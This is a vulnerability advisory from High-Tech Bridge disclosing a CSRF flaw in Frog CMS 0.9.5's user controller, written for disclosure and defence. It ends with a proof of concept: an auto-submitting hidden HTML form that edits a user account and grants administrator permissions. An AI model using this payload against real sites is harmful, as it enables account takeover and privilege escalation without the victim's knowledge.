Vulnerability ID: HTB22685 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_frog_cms.html Product: Frog CMS Vendor: Philippe Archambault ( http://www.madebyfrog.com/ ) Vulnerable Version: 0.9.5 and probably prior versions Vendor Notification: 09 November 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "frog/app/controllers/UserController.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/?/user/edit/USER_ID" method="post" name="main"> <input type="hidden" name="user[name]" value="username"> <input type="hidden" name="user[email]" value="email@xxxxxxxxxxx"> <input type="hidden" name="user[password]" value=""> <input type="hidden" name="user[confirm]" value=""> <input type="hidden" name="user_permission[administrator]" value="1"> <input type="hidden" name="user_permission[developer]" value="2"> <input type="hidden" name="user_permission[editor]" value="3"> <input type="hidden" name="commit" value="Save"> </form> <script> document.main.submit(); </script>